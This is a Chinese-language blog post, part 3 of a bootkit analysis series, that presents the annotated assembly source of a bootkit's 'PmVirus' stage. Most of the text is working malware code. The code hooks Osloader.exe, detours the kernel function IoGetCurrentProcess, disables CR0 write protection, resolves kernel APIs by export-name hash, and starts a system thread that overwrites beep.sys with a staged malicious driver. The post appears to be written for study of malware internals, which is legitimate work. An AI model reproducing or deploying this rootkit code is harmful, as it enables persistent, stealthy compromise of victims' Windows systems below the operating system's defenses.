小小Bootkit(3)

BootKit之PmVirus

sjtujg

PmVirus部分的代码完成的工作很多,所涉及的知识内容也是很多,所以要花较多的篇幅。PmVirus的代码分出许多部分,各部分在不同的时候被调用,但是又依赖于之前执行的代码,所以一开始读的时候会很吃力,现在先来讲一下这部分代码的主要组成部分,然后结合具体代码解释一下。

注:这部分除了参考了GaA_Ra的文章外,还参考了看雪论坛大神V校的文章,下面给出链接:

http://bbs.pediy.com/showthread.php?t=138978

1、对Osloader.exe的hook的内容,在VirusMbr中hook了int13h后,系统调用int13h去读入Osloader.exe时会修改其中的可执行指令使流程转向这部分代码,在这部分代码里完成对Osloader.exe的hook,并且返回Osloader.exe.

2、对IoGetCurrentProcess系统调用进行hook,在之前的对Osloader.exe的hook过程中在内存中搜索到了pe文件ntoskrn.exe的内存偏移地址,并且对其中的系统调用IoGetCurrentProcess用detour技术进行处理,修改第一条可执行语句的前5个字节改成call XXXX,将流程改变至PmVirus代码中的某处继续执行,这就是所谓的Patch-Code,其实所谓的Patch-code分成两部分,一部分在32KB内存划分区中执行掉了,而另一部分在内核用户共享区中去执行(内存地址ffdf0800h处).

3、一个系统线程函数,用来替换beep.sys的.

4、一个工具函数用来搜索各个系统调用在内存中的偏移地址的.

下面是对具体代码的解析

.686p

.mmx

.model flat

seg000 segmentbyte public 'text' use32

assume cs:seg000

assumees:nothing,ss:nothing,ds:nothing,fs:nothing,gs:nothing

dd 0//这就是在VirusMbr中自修改的cs:200h,里面存放的是下面一条指令pushfd的地址

pushfd

pushad

mov edi,[esp+24h]     //esp+24h实际上是刚刚存放在堆栈中的eip,指向的是Osloader.exe.

and edi,0FFF00000h   //edi转换成imagebase ptr

cld

mov al,0C7h        //从这里以及下面的Module_List_Loop1所做的是搜索一个字节序列40003446c7h

Module_List_Loop1:

scasb

jnz shortModule_List_Loop1

cmp dword ptr[edi],40003446h

jnz shortModule_List_Loop1

mov al,0A1h

Module_List_Loop2:  //在找到以上40003446c7h字节序列后继续向下寻找a1 XXXX字节序列,这个XXXX就是BILoaderBlock的地址,a1XXXX对应的汇编语句就是mov eax,XXXX

scasb

jnz shortModule_List_Loop2

//structBILoaderBlock

{

       +00h List_Entry;

       +08h ??不知道什么东西,不过用不到

       +18h image base addr

       +1ch module entry point

       ……..

}

mov esi,[edi]              //此处的ediBILoaderBlock的地址,也就是BILoaderBlock第一个成员List_Entry的地址

mov esi,[esi]        //esi此时是list上的第一个节点(链表的头结点).

Lodsd     //将链表上的第一个有效节点存入eax中,就是ntoskrn.exe

mov ebx,[eax+18h]    //请参照前面struct BILoaderBlock的注释,ebx中现在存放的是ntoskrn.exeimage base addr

call Hook_Func          //流程转到代码中标号为Hook_Func的地方去执行

;-----------PatchCode-----------------

Patch_Code:

nop        //这四个nop指令使标记,没实际作用,因为涉及到硬编码,所以要在操作码字节中寻找定位什么的。有了标记会方便查找

nop

nop

nop

sub dword ptr[esp],5        //esp里存放的是IoGetCurrentProcess第二条可执行指令的地址,也就是第六个字节的地址,现在将其减5,使其指向了IoGetCurrentProcess的第一条指令处,马上在返回到IoGetCurrentProcess之前将保存好的原来的IoGetCurrentProcess的前5个字节恢复,并且从头开始执行IoGetCurrentProcess.

pushad

mov eax,1    //这里就是之前在VirusMbr中通过自修改的地方CS:23ah,windows中页表项pte的组成是段基址+标志位,PTE24位表示页的基地址,12位是控制位,在VirusMbr中将段基址填入此处,此处原来存在的1是标志位,说明这个内存页是存在于内存之中的

xor ecx,ecx

mov ch,3

mov edx,0C0000000h       //0c0000000h是页表首项所在的地址

mov esi,200h

mov edi,0FFDF0800h//ffdf0800h是内核用户共享区的地址,这里所指的地址都是虚拟地址

xchg eax,[edx]     //修改页表的第一个表项,这样第一个内存页所对应的物理内存就是我们之前在VirusMbr划分出的32Kb区域。

wbinvd   //特权指令禁止cache,要求直接把数据写入内存

rep movsb    //从地址200h copy 300h字节到地址0ffdf0800h处,注意这里的虚拟地址经过分页机制的映射已经是32Kb的划分内存中的偏移200h的地方。而ffdf0800是高于80000000h的虚拟地址,所有进程的映射的结果都一样.

mov [edx],eax     //恢复页表第一个表项

wbinvd

push 0

push 0F0FFFFF0h

push 0FFDF08a7h       //转到虚拟地址0ffdf08a7h的地方继续执行,这时0ffdf0800向后的300字节已经是从内存32KBcopy 过去的PmVirus代码,所以ffdf08a7的代码内容就是PmVirus中偏移为0a7h的代码,就是Patch_Code_Next_Step处的代码.

retn

;--------------------------------------

Hook_Func:

pop esi          //执行这条语句之前栈顶是标号Patch-code代码的第一条语句,也就是call Hook_Func的下一条语句的地址,现在将这个地址出栈存入esi寄存器中

mov ecx,38h        //因为要把ptach_codeHook_Func之间的代码复制到ntoskrn.exe image base addr偏移40h处,这个38h就是指这部分代码的长度

mov [esi+1afh],ebx    //esi是指向patch-code第一条指令的地址,1afh是一个偏移值,esi+1afh指向了PmVirus代码中标号Search_Func部分的一个dword类型的值处,然后将ebx中存放的ntoskrn.exeimage base addr写入其中,这里再次使用了自修改技术。

lea edi,[ebx+40h]      //ebx+40h的结果赋给edi,现在edi指向ntoskrn.exeimage base addr+40h偏移处,也就是要copypatch-code所到的地方

mov ebp,edi

rep movsb    //完成patch-code复制到目标地址ntoskrn.exe镜像基址+40h

push 0CE8C3177h

call Search_Func        //调用Search_Func获得某个系统调用在内存中的偏移地址,这个系统调用名经过处理成为一个4bytehashvalue,作为参数传给Search_Func返回的地址存放在eax

xchg eax,esi

sub edi,0Ah  //edi此时是指向复制到ntoskrn.exepatch-code下面的第一个字节处,减去10就是指向了ntoskrn.exepatch-code代码的某位置(就是push 0f0fffff0h中的0f0fffff0h这个dword值处),下面的movsd指令就将IoGetCurrentProcess的头4个字节复制到patch-code中,注意esi此时经过xchg操作已经存放了IoGetCurrentProcess的在内存中的偏移地址。这里再次使用了自修改技术

movsd

sub edi,6

movsb    //这个movsbmovsd的工作差不多,吧IoGetCurrentProcess的第5个字节存到patch-code中去,为了将来流程回到正常的IoGetCurrentProcess使用

mov byte ptr[esi-5],0E8h//现在是修改IoGetCurrentProcess的头5个字节(恰好是第一条指令),改成CallXXXX(也是5个字节,call的操作码e8h,再加上4字节的地址值).注意这个XXXX是一个偏移值,计算方法是用所要跳转的目的地址减去下一条指令的地址

sub ebp,esi   //ebpntoskrn.exe image base addr+40h,esi现在是IoGetCurrentProcess的第6个字节,即第二条可执行语句的首字节

mov [esi-4],ebp

popad    //恢复现场

popfd     //接下来就是完成Osloader.exe被修改的指令字节所做的工作

; 8BF0       MOV ESI, EAX

; 85 F6      TEST ESI, ES

; 7421       JZ $+23h

; 80 3D...     CMP BYTE PTR [ofs32], imm8

mov esi,eax

test eax,eax

jnz short Done

pushfd

add dword ptr[esp+4],21h //这句完成了JZ$+23h,之前恢复了现场esp+4esi指向的是CMPBYTE PTR ….这条指令$+23=($+2)+21h,这份$+2就是esi所指向的地址,也就是CMP BYTE PTR …的地址

popfd

Done:

retn              //流程返回Osloader.exe中去了,第二级hook结束

;--------------Patch_Code_Next_Step-------

Next_Step:

nop        //依然是标记

nop

nop

nop

mov ebp,esp

mov edi,[ebp+28h]     //之前在patch-code中将各个寄存器入栈,这时ebp+28h是指向Patch_code_Next_step调用完成后的返回地址,就是IoGetCurrentProcess的第一条指令处(之前有一条subdword ptr [esp],5   将返回地址调整好了).

mov ecx,cr0 //下面是通过设置Cr0的内容去除内存写保护

mov edx,ecx

and ecx,0FFFEFFFFh

mov cr0,ecx

pop eax //下面将之前保存在堆栈中的原来IoGetCurrentProcess的第一条指令(5字节)通过eax中转,写回到内存中IoGetCurrentProcess的开头处(地址就是保存在edi中了)

stosd

pop eax

stosb

mov cr0,edx //恢复内存写保护机制

enter 4,0

push 136e47c7h  //调用Search_Func获得PsCreateSystemThread的内存地址,下面会调用这个函数开一个线程

call Search_Func

lea ebx ,[ebp-4]

//下面是PsCreateSystemThread的参数压栈和调用的操作,注意参数是从右到左压栈的PsCreateSystemThread(ebx,,0,0,0,0,ffdf08ebh,0).各个参数的意义请自行翻阅<windows驱动开发技术详解>等资料

push 0h

push 0ffdf08ebh  //这个是线程函数的地址,因为此时线程函数也就是start_routine是一起copy到内核用户共享区了,所以函数地址就是ffdf0800+start_routine的偏移,这个偏移是0ebh,是个硬编码,不同的实现对应的值不同,最好自己人工看一下比较靠谱

push 0h

push 0h

push 0h

push 0h

push ebx

call eax

leave

popad

retn              //这个retn是回到IoGetCurrentProcess的一开头去执行

;--------------Start_Routine--------------

pushad

enter 40h,0

CreateFile_Loop:

mov dword ptr[ebp-8],0ffffffffh

mov dword ptr[ebp-0Ch],0fb3b4c00h

push 0cc06cd48h;      //KeDelayExecutionThreadhash value

call Search_Func

lea ebx,[ebp-0ch]

push ebx

push 0

push 0

call eax //KeDelayExecutionThread(0,0,&time_interval),time_interval=0fb3b4c00,这个时间间隔代表了一个负数,在这个系统调用中负数时间间隔代表从当前时间算起等待的时间长度,且这个时间间隔是以100ns为单位,这个负数翻译成时间间隔正好是2s,因为下面要打开并且修改系统文件,在这里先等待windows文件系统完成一些必要的工作再说

lea ecx,[ebp-18h]

mov dword ptr[ecx],18h  //堆栈单元[ecx]------[ecx+14h]构造了一个ObjectAttributes结构,这个结构马上要作为参数给ZwCreateFile去使用

and dword ptr[ecx+4],0

mov dword ptr[ecx+0Ch],40h

and dword ptr[ecx+10h],0

and dword ptr[ecx+14h],0

mov eax,0ffdf0a30h;---------

mov dword ptr[eax],0ffdf0a34h    //给构造的Unicode_Str中的buffer成员去赋值,这个0ffdf0a34就是Unicode_String的实际内容在内存中的地址

mov dword ptr[ecx+8],0ffdf0a2ch        //PmVirus代码复制到内核用户共享区后,这个0ffdf0a2chUnicode_Len的内存地址,也是Unicode_Str结构的地址,因为ZwCreateFile需要一个Unicode_Str的指针作为参数,初始化这个指针

push 25298a1dh  //这是ZwCreateFile函数名的hashvalue

call Search_Func

lea ebx,[ebp-24h]      

lea edx,[ebp-20h]

push 0    //现在是将ZwCreateFile所需的参数从右向左压入堆栈

push 0

push 20h

push 5

push 0

push 80h

push 0

push edx       //edx指向了iostatusblock结构

push ecx       //ecx指向之前构造的ObjectAttributes结构

push 40000000h //打开的权限是Generic_Write

push ebx      //ebx指向打开的文件的句柄,之前赋过值

call eax

or eax,eax

jnz CreateFile_Loop//如果打开失败就重新执行文件打开操作,直到打开为止

push 0 //MmMapIoSpace函数所需的参数压入堆栈

push 2800h

push 0

db 68h

dd 00h   //VirusMbr通过自修改技术中修改了这个地方,此时这个dd 00h已经改变成在VirusMbr中划分出的32KB内存区域的地址,cs:379h就是指这里

push 0fce7ee0ch //MmMapIoSpace的函数名hashvalue,因为在线程空间中不能直接使用物理地址,需要把物理地址转化成虚拟地址,之前VirusMbr在内存划分出32KB内存空间时是实模式所以得到的地址是物理地址,现在在这个线程中要使用所以转化一下。MmMapIoSpace将转化后的虚拟地址以eax返回.

call Search_Func

call eax

or eax,eax    //如果MmMapIoSpace调用失败会在eax中返回0,如果这样就循环执行打开文件操作直到成功为止

jz CreateFile_Loop

mov ebx,eax

add ebx,600h      //ebx此时是之前VirusMbr划分的32KB内存区域的物理地址在此线程空间中对应的虚拟地址,加上600h就是Driver.sys内容的虚拟地址,为何此处可以直接加600h?MmMapIoSpace是将所需要转化的物理地址块的内容copy到一个不分页的系统内存区中,然后将不分页系统内存区的虚拟地址传给线程使用。所以这里不用关心分页的问题。MmMapIoSpace的三个参数代表所需映射的物理内存块的起始物理地址,物理地址块的字节长度,能否cache

lea ecx,[ebp-20h]

push 7e3acf7h    //ZwWriteFile的函数名hash value

call Search_Func

push 0

push 0

push 127ch   //欲写入beep.sys的字节数

push ebx

push ecx

push 0

push 0

push 0

push dword ptr[ebp-24h]

call eax  //以上工作是调用ZwCreateFilebeep.sys中写入存放在VirusMbr划分出的32Kb内存区中的内容

push 0fd929378h      //下面就是关闭文件并退出了

call Search_Func

push dword ptr[ebp-24h]

call eax

leave

popad

retn 4

;---------------Search_Func---------------

//这部分涉及到pe文件的格式,以下的代码是木马中利用内核系统调用的常见方法已经非常成熟了,建议看一下<win32汇编程序设计>(罗云彬著)中的pe文件的相关章节,否则不可能看懂这里的代码,其中涉及到的很多立即数都是pe文件中某些重要成员相对于 pe文件头的偏移量,总的思路就是在ntoskrn.exe遍历输出表,将其中的系统调用名作hash,于传进来的hash value进行比较,如果一样就返回此系统调用在内存中的偏移地址.在计算偏移地址时又涉及到RVA和物理地址的转化等等.

Search_Func:

enter 0,0

xor eax,eax

pushad

mov edx,[ebp+8h]

nop

nop

nop

nop

Saved_Code:

mov ebx,0

mov ecx,[ebx+3ch]

movebp,[ebx+ecx+78h]

add ebp,ebx

mov ecx,[ebp+18h]

mov edi,[ebp+20h]

add edi,ebx

jecxz shortSearch_Done

Search_Name_Loop:

mov esi,[edi]

add esi,ebx

scasd

push edx

Name_Hash_Loop:

lodsb

sub edx,eax

ror edx,7

test eax,eax

jnz shortName_Hash_Loop

test edx,edx

pop edx

loopneSearch_Name_Loop

jnz shortSearch_Done

not ecx

add ecx,[ebp+18h]

mov edx,[ebp+24h]

add edx,ebx

mov ax,[edx+ecx*2]

mov ecx,[ebp+1Ch]

add ecx,ebx

addebx,[ecx+eax*4]

mov[esp+20h-4],ebx

Search_Done:

popad

leave

retn 4

//下面的Unicode_LenUnicode_Buf合起来其实是构成了Unicode_Str结构,

StructUnicode_Str

{

word length;实际长度(byte为单位)

wordmaxlength;最大长度(byte为单位)

dwordstr_ptr;指向存放unicode string 缓冲区的指针

}

Unicode_Len:

db 4Ah

db 0

db 4Ch

db 0

Unicode_Buf:

db 0

db 0

db 0

db 0

//下面的内容就是一个unicode string 的具体内容\SystemRoot\system32\drivers\beep.sys注意是以null结尾的,并且在unicode string之中每一个字符都是用两个字节去表示

Unicode_Str:

db 5Ch

db 0

db 53h

db 0

db 79h

db 0

db 73h

db 0

db 74h

db 0

db 65h

db 0

db 6Dh

db 0

db 52h

db 0

db 6Fh

db 0

db 6Fh

db 0

db 74h

db 0

db 5Ch

db 0

db 73h

db 0

db 79h

db 0

db 73h

db 0

db 74h

db 0

db 65h

db 0

db 6Dh

db 0

db 33h

db 0

db 32h

db 0

db 5Ch

db 0

db 64h

db 0

db 72h

db 0

db 69h

db 0

db 76h

db 0

db 65h

db 0

db 72h

db 0

db 73h

db 0

db 5Ch

db 0

db 62h

db 0

db 65h

db 0

db 65h

db 0

db 70h

db 0

db 2Eh

db 0

db 73h

db 0

db 79h

db 0

db 73h

db 0

db 0

Uincode_Str_END:

db 0

seg000 ends

end

注:在Search_Func中所需要的参数是将系统调用名转变为一个hash value,具体的算法很简单,简述如下:

以IoGetCurrentProcess为例,首先将一个寄存区初始化为0作为存储结果的地方,例如edx。然后以反序遍历系统调用名字符串,第一个是字符’s’,接下来’s’,’e’,’c’……,每次将上一次得到的结果就是edx的当前值循环左移7bit,再加上此次遍历的字符的值得到edx的新的当前值。最后一次就是rol edx后加上’I’结果就是最终的hash value了。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值